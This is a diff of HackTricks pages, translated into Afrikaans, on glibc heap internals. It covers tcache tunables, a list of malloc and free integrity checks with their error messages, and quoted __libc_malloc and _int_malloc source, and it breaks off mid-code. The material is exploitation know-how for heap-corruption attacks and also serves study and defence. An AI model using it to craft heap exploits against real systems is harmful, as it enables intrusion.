+```bash
+# Disable tcache completely
+GLIBC_TUNABLES=glibc.malloc.tcache_count=0 ./vuln
+
+# Keep tcache enabled, but restore the classic 64-bit ceiling
+# so larger frees stop being cached on glibc 2.42+
+GLIBC_TUNABLES=glibc.malloc.tcache_max=1032 ./vuln
+
+# If you want no size class cached at all
+GLIBC_TUNABLES=glibc.malloc.tcache_max=0 ./vuln
+```
+Dit is ook nuttig wanneer ouer write-ups gereproduseer word wat aanneem dat ’n chunk groter as `0x410`/`0x420` onmiddellik die unsorted path sal bereik.
+
+Verwante leesstof binne HackTricks:
+
+- First-fit/unsorted-gedrag en overlap-truuks:
+
+{{#ref}}
+../use-after-free/first-fit.md
+{{#endref}}
+
+- Double-free-primitiewe en moderne checks:
+
+{{#ref}}
+../double-free.md
+{{#endref}}
+
+> Let op met hooks: Klassieke `__malloc_hook`/`__free_hook` overwrite-tegnieke is nie haalbaar op moderne glibc (≥ 2.34) nie. As jy dit steeds in ouer write-ups sien, pas dit aan by alternatiewe teikens (IO_FILE, exit handlers, vtables, ens.). Vir agtergrond, kyk na die bladsy oor hooks in HackTricks.
+
+{{#ref}}
+../../arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+{{#endref}}
+
+## References
+
+- [1] [GNU C Library 2.42-vrystellingsnotas (large-block tcache-ondersteuning via `glibc.malloc.tcache_max`)](https://lists.gnu.org/archive/html/info-gnu/2025-07/msg00011.html)
+- [2] [how2heap - glibc_2.42/tcache_metadata_hijacking.c (praktiese voorbeeld van vertraagde tcache-metadata-plasing op moderne glibc)](https://github.com/shellphish/how2heap/blob/master/glibc_2.42/tcache_metadata_hijacking.c)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index 18a0a02b769..6cb896bf42e 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -4,160 +4,160 @@
## unlink
-For more info check:
+Vir meer inligting, kyk:
{{#ref}}
unlink.md
{{#endref}}
-This is a summary of the performed checks:
+Dit is 'n opsomming van die uitgevoerde kontroles:
-- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
- - Error message: `corrupted size vs. prev_size`
-- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- - Error message: `corrupted double-linked list`
-- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- - Error message: `corrupted double-linked list (not small)`
+- Kontroleer of die aangeduide grootte van die stuk dieselfde is as die `prev_size` wat in die volgende stuk aangedui word
+- Foutboodskap: `corrupted size vs. prev_size`
+- Kontroleer ook dat `P->fd->bk == P` en `P->bk->fw == P`
+- Foutboodskap: `corrupted double-linked list`
+- As die stuk nie klein is nie, kontroleer dat `P->fd_nextsize->bk_nextsize == P` en `P->bk_nextsize->fd_nextsize == P`
+- Foutboodskap: `corrupted double-linked list (not small)`
## \_int_malloc
-For more info check:
+Vir meer inligting, kyk:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
-- **Checks during fast bin search:**
- - If the chunk is misaligned:
- - Error message: `malloc(): unaligned fastbin chunk detected 2`
- - If the forward chunk is misaligned:
- - Error message: `malloc(): unaligned fastbin chunk detected`
- - If the returned chunk has a size that isn't correct because of it's index in the fast bin:
- - Error message: `malloc(): memory corruption (fast)`
- - If any chunk used to fill the tcache is misaligned:
- - Error message: `malloc(): unaligned fastbin chunk detected 3`
-- **Checks during small bin search:**
- - If `victim->bk->fd != victim`:
- - Error message: `malloc(): smallbin double linked list corrupted`
-- **Checks during consolidate** performed for each fast bin chunk:
- - If the chunk is unaligned trigger:
- - Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- - If the chunk has a different size that the one it should because of the index it's in:
- - Error message: `malloc_consolidate(): invalid chunk size`
- - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
- - Error message: `corrupted size vs. prev_size in fastbins`
-- **Checks during unsorted bin search**:
- - If the chunk size is weird (too small or too big):
- - Error message: `malloc(): invalid size (unsorted)`
- - If the next chunk size is weird (too small or too big):
- - Error message: `malloc(): invalid next size (unsorted)`
- - If the previous size indicated by the next chunk differs from the size of the chunk:
- - Error message: `malloc(): mismatching next->prev_size (unsorted)`
- - If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
- - Error message: `malloc(): unsorted double linked list corrupted`
- - As we are always checking the las one, it's fd should be pointing always to the arena struct.
- - If the next chunk isn't indicating that the previous is in use:
- - Error message: `malloc(): invalid next->prev_inuse (unsorted)`
- - If `fwd->bk_nextsize->fd_nextsize != fwd`:
- - Error message: `malloc(): largebin double linked list corrupted (nextsize)`
- - If `fwd->bk->fd != fwd`:
- - Error message: `malloc(): largebin double linked list corrupted (bk)`
-- **Checks during large bin (by index) search:**
- - `bck->fd-> bk != bck`:
- - Error message: `malloc(): corrupted unsorted chunks`
-- **Checks during large bin (next bigger) search:**
- - `bck->fd-> bk != bck`:
- - Error message: `malloc(): corrupted unsorted chunks2`
-- **Checks during Top chunk use:**
- - `chunksize(av->top) > av->system_mem`:
- - Error message: `malloc(): corrupted top size`
+- **Kontroles tydens vinnige bin soektog:**
+- As die stuk verkeerd uitgelijnd is:
+- Foutboodskap: `malloc(): unaligned fastbin chunk detected 2`
+- As die vorentoe stuk verkeerd uitgelijnd is:
+- Foutboodskap: `malloc(): unaligned fastbin chunk detected`
+- As die teruggegee stuk 'n grootte het wat nie korrek is nie weens sy indeks in die vinnige bin:
+- Foutboodskap: `malloc(): memory corruption (fast)`
+- As enige stuk wat gebruik word om die tcache te vul verkeerd uitgelijnd is:
+- Foutboodskap: `malloc(): unaligned fastbin chunk detected 3`
+- **Kontroles tydens klein bin soektog:**
+- As `victim->bk->fd != victim`:
+- Foutboodskap: `malloc(): smallbin double linked list corrupted`
+- **Kontroles tydens konsolidasie** wat vir elke vinnige bin stuk uitgevoer word:
+- As die stuk verkeerd uitgelijnd is, aktiveer:
+- Foutboodskap: `malloc_consolidate(): unaligned fastbin chunk detected`
+- As die stuk 'n ander grootte het as die een wat dit behoort te wees weens die indeks waarin dit is:
+- Foutboodskap: `malloc_consolidate(): invalid chunk size`
+- As die vorige stuk nie in gebruik is nie en die vorige stuk 'n grootte het wat verskil van die een aangedui deur prev_chunk:
+- Foutboodskap: `corrupted size vs. prev_size in fastbins`
+- **Kontroles tydens onsortering bin soektog**:
+- As die stuk grootte vreemd is (te klein of te groot):
+- Foutboodskap: `malloc(): invalid size (unsorted)`
+- As die volgende stuk grootte vreemd is (te klein of te groot):
+- Foutboodskap: `malloc(): invalid next size (unsorted)`
+- As die vorige grootte wat deur die volgende stuk aangedui word verskil van die grootte van die stuk:
+- Foutboodskap: `malloc(): mismatching next->prev_size (unsorted)`
+- As nie `victim->bck->fd == victim` of nie `victim->fd == av (arena)` nie:
+- Foutboodskap: `malloc(): unsorted double linked list corrupted`
+- Aangesien ons altyd die laaste een kontroleer, moet sy fd altyd na die arena struktuur wys.
+- As die volgende stuk nie aandui dat die vorige in gebruik is nie:
+- Foutboodskap: `malloc(): invalid next->prev_inuse (unsorted)`
+- As `fwd->bk_nextsize->fd_nextsize != fwd`:
+- Foutboodskap: `malloc(): largebin double linked list corrupted (nextsize)`
+- As `fwd->bk->fd != fwd`:
+- Foutboodskap: `malloc(): largebin double linked list corrupted (bk)`
+- **Kontroles tydens groot bin (volgens indeks) soektog:**
+- `bck->fd-> bk != bck`:
+- Foutboodskap: `malloc(): corrupted unsorted chunks`
+- **Kontroles tydens groot bin (volgende groter) soektog:**
+- `bck->fd-> bk != bck`:
+- Foutboodskap: `malloc(): corrupted unsorted chunks2`
+- **Kontroles tydens Top stuk gebruik:**
+- `chunksize(av->top) > av->system_mem`:
+- Foutboodskap: `malloc(): corrupted top size`
## `tcache_get_n`
-- **Checks in `tcache_get_n`:**
- - If chunk is misaligned:
- - Error message: `malloc(): unaligned tcache chunk detected`
+- **Kontroles in `tcache_get_n`:**
+- As die stuk verkeerd uitgelijnd is:
+- Foutboodskap: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
-- **Checks in `tcache_thread_shutdown`:**
- - If chunk is misaligned:
- - Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
+- **Kontroles in `tcache_thread_shutdown`:**
+- As die stuk verkeerd uitgelijnd is:
+- Foutboodskap: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
-- **Checks in `__libc_realloc`:**
- - If old pointer is misaligned or the size was incorrect:
- - Error message: `realloc(): invalid pointer`
+- **Kontroles in `__libc_realloc`:**
+- As die ou pointer verkeerd uitgelijnd is of die grootte verkeerd was:
+- Foutboodskap: `realloc(): invalid pointer`
## `_int_free`
-For more info check:
+Vir meer inligting, kyk:
{{#ref}}
free.md
{{#endref}}
-- **Checks during the start of `_int_free`:**
- - Pointer is aligned:
- - Error message: `free(): invalid pointer`
- - Size larger than `MINSIZE` and size also aligned:
- - Error message: `free(): invalid size`
-- **Checks in `_int_free` tcache:**
- - If there are more entries than `mp_.tcache_count`:
- - Error message: `free(): too many chunks detected in tcache`
- - If the entry is not aligned:
- - Error message: `free(): unaligned chunk detected in tcache 2`
- - If the freed chunk was already freed and is present as chunk in the tcache:
- - Error message: `free(): double free detected in tcache 2`
-- **Checks in `_int_free` fast bin:**
- - If the size of the chunk is invalid (too big or small) trigger:
- - Error message: `free(): invalid next size (fast)`
- - If the added chunk was already the top of the fast bin:
- - Error message: `double free or corruption (fasttop)`
- - If the size of the chunk at the top has a different size of the chunk we are adding:
- - Error message: `invalid fastbin entry (free)`
+- **Kontroles tydens die begin van `_int_free`:**
+- Pointer is uitgelijnd:
+- Foutboodskap: `free(): invalid pointer`
+- Grootte groter as `MINSIZE` en grootte ook uitgelijnd:
+- Foutboodskap: `free(): invalid size`
+- **Kontroles in `_int_free` tcache:**
+- As daar meer inskrywings is as `mp_.tcache_count`:
+- Foutboodskap: `free(): too many chunks detected in tcache`
+- As die inskrywing nie uitgelijnd is nie:
+- Foutboodskap: `free(): unaligned chunk detected in tcache 2`
+- As die vrygestelde stuk reeds vrygestel is en as stuk in die tcache teenwoordig is:
+- Foutboodskap: `free(): double free detected in tcache 2`
+- **Kontroles in `_int_free` vinnige bin:**
+- As die grootte van die stuk ongeldig is (te groot of klein) aktiveer:
+- Foutboodskap: `free(): invalid next size (fast)`
+- As die bygevoegde stuk reeds die top van die vinnige bin was:
+- Foutboodskap: `double free or corruption (fasttop)`
+- As die grootte van die stuk aan die top 'n ander grootte het as die stuk wat ons byvoeg:
+- Foutboodskap: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
-- **Checks in `_int_free_merge_chunk`:**
- - If the chunk is the top chunk:
- - Error message: `double free or corruption (top)`
- - If the next chunk is outside of the boundaries of the arena:
- - Error message: `double free or corruption (out)`
- - If the chunk is not marked as used (in the prev_inuse from the following chunk):
- - Error message: `double free or corruption (!prev)`
- - If the next chunk has a too little size or too big:
- - Error message: `free(): invalid next size (normal)`
- - If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
- - Error message: `corrupted size vs. prev_size while consolidating`
+- **Kontroles in `_int_free_merge_chunk`:**
+- As die stuk die top stuk is:
+- Foutboodskap: `double free or corruption (top)`
+- As die volgende stuk buite die grense van die arena is:
+- Foutboodskap: `double free or corruption (out)`
+- As die stuk nie as gebruik gemerk is nie (in die prev_inuse van die volgende stuk):
+- Foutboodskap: `double free or corruption (!prev)`
+- As die volgende stuk 'n te klein of te groot grootte het:
+- Foutboodskap: `free(): invalid next size (normal)`
+- As die vorige stuk nie in gebruik is nie, sal dit probeer konsolideer. Maar, as die `prev_size` verskil van die grootte aangedui in die vorige stuk:
+- Foutboodskap: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
-- **Checks in `_int_free_create_chunk`:**
- - Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- - Error message: `free(): corrupted unsorted chunks`
+- **Kontroles in `_int_free_create_chunk`:**
+- Voeg 'n stuk by die onsortering bin, kontroleer of `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
+- Foutboodskap: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
-- **Checks in `do_check_malloc_state`:**
- - If misaligned fast bin chunk:
- - Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
+- **Kontroles in `do_check_malloc_state`:**
+- As verkeerd uitgelijnde vinnige bin stuk:
+- Foutboodskap: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
-- **Checks in `malloc_consolidate`:**
- - If misaligned fast bin chunk:
- - Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- - If incorrect fast bin chunk size:
- - Error message: `malloc_consolidate(): invalid chunk size`
+- **Kontroles in `malloc_consolidate`:**
+- As verkeerd uitgelijnde vinnige bin stuk:
+- Foutboodskap: `malloc_consolidate(): unaligned fastbin chunk detected`
+- As onjuiste vinnige bin stuk grootte:
+- Foutboodskap: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
-- **Checks in `_int_realloc`:**
- - Size is too big or too small:
- - Error message: `realloc(): invalid old size`
- - Size of the next chunk is too big or too small:
- - Error message: `realloc(): invalid next size`
+- **Kontroles in `_int_realloc`:**
+- Grootte is te groot of te klein:
+- Foutboodskap: `realloc(): invalid old size`
+- Grootte van die volgende stuk is te groot of te klein:
+- Foutboodskap: `realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index 3b2ab708585..7a8508769ee 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -2,37 +2,36 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Allocation Order Summary
-
-(No checks are explained in this summary and some case have been omitted for brevity)
-
-1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc`
-2. `_int_malloc` :
- 1. Tries to generate the arena if there isn't any
- 2. If any fast bin chunk of the correct size, use it
- 1. Fill tcache with other fast chunks
- 3. If any small bin chunk of the correct size, use it
- 1. Fill tcache with other chunks of that size
- 4. If the requested size isn't for small bins, consolidate fast bin into unsorted bin
- 5. Check the unsorted bin, use the first chunk with enough space
- 1. If the found chunk is bigger, divide it to return a part and add the reminder back to the unsorted bin
- 2. If a chunk is of the same size as the size requested, use to to fill the tcache instead of returning it (until the tcache is full, then return the next one)
- 3. For each chunk of smaller size checked, put it in its respective small or large bin
- 6. Check the large bin in the index of the requested size
- 1. Start looking from the first chunk that is bigger than the requested size, if any is found return it and add the reminders to the small bin
- 7. Check the large bins from the next indexes until the end
- 1. From the next bigger index check for any chunk, divide the first found chunk to use it for the requested size and add the reminder to the unsorted bin
- 8. If nothing is found in the previous bins, get a chunk from the top chunk
- 9. If the top chunk wasn't big enough enlarge it with `sysmalloc`
+## Opsommende toekenningsvolgorde [[1]](#references)
+
+(Sekuriteitskontroles word nie in hierdie opsomming beskryf nie, en sommige gevalle word ter wille van bondigheid weggelaat.)
+
+1. `__libc_malloc` probeer om 'n chunk uit die tcache te kry; indien dit nie slaag nie, roep dit `_int_malloc` aan
+2. `_int_malloc`:
+1. Probeer om die arena te genereer indien daar nie een is nie
+2. Indien daar enige fast bin chunk van die korrekte grootte is, gebruik dit
+1. Vul die tcache met ander fast chunks
+3. Indien daar enige small bin chunk van die korrekte grootte is, gebruik dit
+1. Vul die tcache met ander chunks van daardie grootte
+4. Indien die aangevraagde grootte nie vir small bins is nie, konsolideer fast bin in unsorted bin
+5. Kontroleer die unsorted bin en gebruik die eerste chunk met genoeg spasie
+1. Indien die geselekteerde chunk groter is, verdeel dit, stuur die aangevraagde deel terug en voeg die res by die unsorted bin
+2. Indien 'n chunk dieselfde grootte as die aangevraagde grootte het, gebruik dit om die tcache te vul in plaas daarvan om dit terug te stuur (totdat die tcache vol is; stuur dan die volgende een terug)
+3. Plaas elke chunk van kleiner grootte wat nagegaan is, in sy onderskeie small of large bin
+6. Kontroleer die large bin by die indeks van die aangevraagde grootte
+1. Begin met die eerste chunk wat groter as die aangevraagde grootte is, stuur 'n geskikte chunk terug en plaas enige res in die unsorted bin
+7. Kontroleer die large bins vanaf die volgende indekse tot by die einde
+1. Begin met die volgende groter indeks, verdeel die eerste geskikte chunk en voeg die res by die unsorted bin
+8. Indien niks in die vorige bins gevind word nie, kry 'n chunk uit die top chunk
+9. Indien die top chunk nie groot genoeg was nie, vergroot dit met `sysmalloc`
## \_\_libc_malloc
-The `malloc` function actually calls `__libc_malloc`. This function will check the tcache to see if there is any available chunk of the desired size. If the re is it'll use it and if not it'll check if it's a single thread and in that case it'll call `_int_malloc` in the main arena, and if not it'll call `_int_malloc` in arena of the thread.
+Die publieke `malloc`-ingangspunt roep `__libc_malloc` aan. Hierdie funksie kontroleer eers die tcache vir 'n chunk van die aangevraagde grootte. Indien geen een beskikbaar is nie, roep 'n single-threaded proses `_int_malloc` in die hoofarena aan; anders roep dit `_int_malloc` in die draad se geselekteerde arena aan.[[1]](#references)
__libc_malloc code
-
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -40,1707 +39,1663 @@ The `malloc` function actually calls `__libc_malloc`. This function will check t
void *
__libc_malloc (size_t bytes)
{
- mstate ar_ptr;
- void *victim;
+mstate ar_ptr;
+void *victim;
- _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
- "PTRDIFF_MAX is not more than half of SIZE_MAX");
+_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
+"PTRDIFF_MAX is not more than half of SIZE_MAX");
- if (!__malloc_initialized)
- ptmalloc_init ();
+if (!__malloc_initialized)
+ptmalloc_init ();
#if USE_TCACHE
- /* int_free also calls request2size, be careful to not pad twice. */
- size_t tbytes = checked_request2size (bytes);
- if (tbytes == 0)
- {
- __set_errno (ENOMEM);
- return NULL;
- }
- size_t tc_idx = csize2tidx (tbytes);
-
- MAYBE_INIT_TCACHE ();
-
- DIAG_PUSH_NEEDS_COMMENT;
- if (tc_idx < mp_.tcache_bins
- && tcache != NULL
- && tcache->counts[tc_idx] > 0)
- {
- victim = tcache_get (tc_idx);
- return tag_new_usable (victim);
- }
- DIAG_POP_NEEDS_COMMENT;
+/* int_free also calls request2size, be careful to not pad twice. */
+size_t tbytes = checked_request2size (bytes);
+if (tbytes == 0)
+{
+__set_errno (ENOMEM);
+return NULL;
+}
+size_t tc_idx = csize2tidx (tbytes);
+
+MAYBE_INIT_TCACHE ();
+
+DIAG_PUSH_NEEDS_COMMENT;
+if (tc_idx < mp_.tcache_bins
+&& tcache != NULL
+&& tcache->counts[tc_idx] > 0)
+{
+victim = tcache_get (tc_idx);
+return tag_new_usable (victim);
+}
+DIAG_POP_NEEDS_COMMENT;
#endif
- if (SINGLE_THREAD_P)
- {
- victim = tag_new_usable (_int_malloc (&main_arena, bytes));
- assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
- &main_arena == arena_for_chunk (mem2chunk (victim)));
- return victim;
- }
+if (SINGLE_THREAD_P)
+{
+victim = tag_new_usable (_int_malloc (&main_arena, bytes));
+assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
+&main_arena == arena_for_chunk (mem2chunk (victim)));
+return victim;
+}
- arena_get (ar_ptr, bytes);
+arena_get (ar_ptr, bytes);
- victim = _int_malloc (ar_ptr, bytes);
- /* Retry with another arena only if we were able to find a usable arena
- before. */
- if (!victim && ar_ptr != NULL)
- {
- LIBC_PROBE (memory_malloc_retry, 1, bytes);
- ar_ptr = arena_get_retry (ar_ptr, bytes);
- victim = _int_malloc (ar_ptr, bytes);
- }
+victim = _int_malloc (ar_ptr, bytes);
+/* Retry with another arena only if we were able to find a usable arena
+before. */
+if (!victim && ar_ptr != NULL)
+{
+LIBC_PROBE (memory_malloc_retry, 1, bytes);
+ar_ptr = arena_get_retry (ar_ptr, bytes);
+victim = _int_malloc (ar_ptr, bytes);
+}
- if (ar_ptr != NULL)
- __libc_lock_unlock (ar_ptr->mutex);
+if (ar_ptr != NULL)
+__libc_lock_unlock (ar_ptr->mutex);
- victim = tag_new_usable (victim);
+victim = tag_new_usable (victim);
- assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
- ar_ptr == arena_for_chunk (mem2chunk (victim)));
- return victim;
+assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
+ar_ptr == arena_for_chunk (mem2chunk (victim)));
+return victim;
}
```
-
-Note how it'll always tag the returned pointer with `tag_new_usable`, from the code:
-
+Die teruggestuurde pointer word deur `tag_new_usable` gestuur, soos in die kode getoon:
```c
- void *tag_new_usable (void *ptr)
+void *tag_new_usable (void *ptr)
- Allocate a new random color and use it to color the user region of
- a chunk; this may include data from the subsequent chunk's header
- if tagging is sufficiently fine grained. Returns PTR suitably
- recolored for accessing the memory there.
+Allocate a new random color and use it to color the user region of
+a chunk; this may include data from the subsequent chunk's header
+if tagging is sufficiently fine grained. Returns PTR suitably
+recolored for accessing the memory there.
```
-
## \_int_malloc
-This is the function that allocates memory using the other bins and top chunk.
+Dit is die funksie wat geheue toewys deur die ander bins en top chunk te gebruik.[[1]](#references)
-- Start
+- Begin
-It starts defining some vars and getting the real size the request memory space need to have:
+Dit begin deur sommige veranderlikes te definieer en die werklike grootte te verkry wat die aangevraagde geheuespasie moet hê:
-_int_malloc start
-
+_int_malloc begin
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847
static void *
_int_malloc (mstate av, size_t bytes)
{
- INTERNAL_SIZE_T nb; /* normalized request size */
- unsigned int idx; /* associated bin index */
- mbinptr bin; /* associated bin */
+INTERNAL_SIZE_T nb; /* normalized request size */
+unsigned int idx; /* associated bin index */
+mbinptr bin; /* associated bin */
- mchunkptr victim; /* inspected/selected chunk */
- INTERNAL_SIZE_T size; /* its size */
- int victim_index; /* its bin index */
+mchunkptr victim; /* inspected/selected chunk */
+INTERNAL_SIZE_T size; /* its size */
+int victim_index; /* its bin index */
- mchunkptr remainder; /* remainder from a split */
- unsigned long remainder_size; /* its size */
+mchunkptr remainder; /* remainder from a split */
+unsigned long remainder_size; /* its size */
- unsigned int block; /* bit map traverser */
- unsigned int bit; /* bit map traverser */
- unsigned int map; /* current word of binmap */
+unsigned int block; /* bit map traverser */
+unsigned int bit; /* bit map traverser */
+unsigned int map; /* current word of binmap */
- mchunkptr fwd; /* misc temp for linking */
- mchunkptr bck; /* misc temp for linking */
+mchunkptr fwd; /* misc temp for linking */
+mchunkptr bck; /* misc temp for linking */
#if USE_TCACHE
- size_t tcache_unsorted_count; /* count of unsorted chunks processed */
+size_t tcache_unsorted_count; /* count of unsorted chunks processed */
#endif
- /*
- Convert request size to internal form by adding SIZE_SZ bytes
- overhead plus possibly more to obtain necessary alignment and/or
- to obtain a size of at least MINSIZE, the smallest allocatable
- size. Also, checked_request2size returns false for request sizes
- that are so large that they wrap around zero when padded and
- aligned.
- */
-
- nb = checked_request2size (bytes);
- if (nb == 0)
- {
- __set_errno (ENOMEM);
- return NULL;
- }
+/*
+Convert request size to internal form by adding SIZE_SZ bytes
+overhead plus possibly more to obtain necessary alignment and/or
+to obtain a size of at least MINSIZE, the smallest allocatable
+size. Also, checked_request2size returns false for request sizes
+that are so large that they wrap around zero when padded and
+aligned.
+*/
+
+nb = checked_request2size (bytes);
+if (nb == 0)
+{
+__set_errno (ENOMEM);
+return NULL;
+}
```
-
### Arena
-In the unlikely event that there aren't usable arenas, it uses `sysmalloc` to get a chunk from `mmap`:
+In die onwaarskynlike geval dat daar geen bruikbare arenas is nie, gebruik dit `sysmalloc` om ’n chunk vanaf `mmap` te kry:
_int_malloc not arena
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6
/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
- mmap. */
- if (__glibc_unlikely (av == NULL))
- {
- void *p = sysmalloc (nb, av);
- if (p != NULL)
- alloc_perturb (p, bytes);
- return p;
- }
+mmap. */
+if (__glibc_unlikely (av == NULL))
+{
+void *p = sysmalloc (nb, av);
+if (p != NULL)
+alloc_perturb (p, bytes);
+return p;
+}
```
-
### Fast Bin
-If the needed size is inside the Fast Bins sizes, try to use a chunk from the fast bin. Basically, based on the size, it'll find the fast bin index where valid chunks should be located, and if any, it'll return one of those.\
-Moreover, if tcache is enabled, it'll **fill the tcache bin of that size with fast bins**.
+As die benodigde grootte binne die Fast Bins-groottes val, probeer om ’n chunk uit die fast bin te gebruik. Basies sal dit, gebaseer op die grootte, die fast bin-indeks vind waar geldige chunks behoort te wees, en indien enige bestaan, sal dit een daarvan terugstuur.\
+Verder, as tcache geaktiveer is, sal dit die **tcache bin van daardie grootte met fast bins vul**.
-While performing these actions, some security checks are executed in here:
+Terwyl hierdie aksies uitgevoer word, word sommige security checks hier uitgevoer:
-- If the chunk is misaligned: `malloc(): unaligned fastbin chunk detected 2`
-- If the forward chunk is misaligned: `malloc(): unaligned fastbin chunk detected`
-- If the returned chunk has a size that isn't correct because of it's index in the fast bin: `malloc(): memory corruption (fast)`
-- If any chunk used to fill the tcache is misaligned: `malloc(): unaligned fastbin chunk detected 3`
+- As die chunk verkeerd belyn is: `malloc(): unaligned fastbin chunk detected 2`
+- As die forward chunk verkeerd belyn is: `malloc(): unaligned fastbin chunk detected`
+- As die teruggestuurde chunk ’n grootte het wat nie korrek is nie weens sy indeks in die fast bin: `malloc(): memory corruption (fast)`
+- As enige chunk wat gebruik word om die tcache te vul verkeerd belyn is: `malloc(): unaligned fastbin chunk detected 3`
_int_malloc fast bin
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
/*
- If the size qualifies as a fastbin, first check corresponding bin.
- This code is safe to execute even if av is not yet initialized, so we
- can try it without checking, which saves some time on this fast path.
- */
+If the size qualifies as a fastbin, first check corresponding bin.
+This code is safe to execute even if av is not yet initialized, so we
+can try it without checking, which saves some time on this fast path.
+*/
#define REMOVE_FB(fb, victim, pp) \
- do \
- { \
- victim = pp; \
- if (victim == NULL) \
- break; \
- pp = REVEAL_PTR (victim->fd); \
- if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
- malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
- } \
- while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
- != victim); \
-
- if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
- {
- idx = fastbin_index (nb);
- mfastbinptr *fb = &fastbin (av, idx);
- mchunkptr pp;
- victim = *fb;
-
- if (victim != NULL)
- {
- if (__glibc_unlikely (misaligned_chunk (victim)))
- malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");
-
- if (SINGLE_THREAD_P)
- *fb = REVEAL_PTR (victim->fd);
- else
- REMOVE_FB (fb, pp, victim);
- if (__glibc_likely (victim != NULL))
- {
- size_t victim_idx = fastbin_index (chunksize (victim));
- if (__builtin_expect (victim_idx != idx, 0))
- malloc_printerr ("malloc(): memory corruption (fast)");
- check_remalloced_chunk (av, victim, nb);
+do \
+{ \
+victim = pp; \
+if (victim == NULL) \
+break; \
+pp = REVEAL_PTR (victim->fd); \
+if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
+malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
+} \
+while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
+!= victim); \
+
+if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
+{
+idx = fastbin_index (nb);
+mfastbinptr *fb = &fastbin (av, idx);
+mchunkptr pp;
+victim = *fb;
+
+if (victim != NULL)
+{
+if (__glibc_unlikely (misaligned_chunk (victim)))
+malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");
+
+if (SINGLE_THREAD_P)
+*fb = REVEAL_PTR (victim->fd);
+else
+REMOVE_FB (fb, pp, victim);
+if (__glibc_likely (victim != NULL))
+{
+size_t victim_idx = fastbin_index (chunksize (victim));
+if (__builtin_expect (victim_idx != idx, 0))
+malloc_printerr ("malloc(): memory corruption (fast)");
+check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
- /* While we're here, if we see other chunks of the same size,
- stash them in the tcache. */
- size_t tc_idx = csize2tidx (nb);
- if (tcache != NULL && tc_idx < mp_.tcache_bins)
- {
- mchunkptr tc_victim;
-
- /* While bin not empty and tcache not full, copy chunks. */
- while (tcache->counts[tc_idx] < mp_.tcache_count
- && (tc_victim = *fb) != NULL)
- {
- if (__glibc_unlikely (misaligned_chunk (tc_victim)))
- malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
- if (SINGLE_THREAD_P)
- *fb = REVEAL_PTR (tc_victim->fd);
- else
- {
- REMOVE_FB (fb, pp, tc_victim);
- if (__glibc_unlikely (tc_victim == NULL))
- break;
- }
- tcache_put (tc_victim, tc_idx);
- }
- }
+/* While we're here, if we see other chunks of the same size,
+stash them in the tcache. */
+size_t tc_idx = csize2tidx (nb);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+{
+mchunkptr tc_victim;
+
+/* While bin not empty and tcache not full, copy chunks. */
+while (tcache->counts[tc_idx] < mp_.tcache_count
+&& (tc_victim = *fb) != NULL)
+{
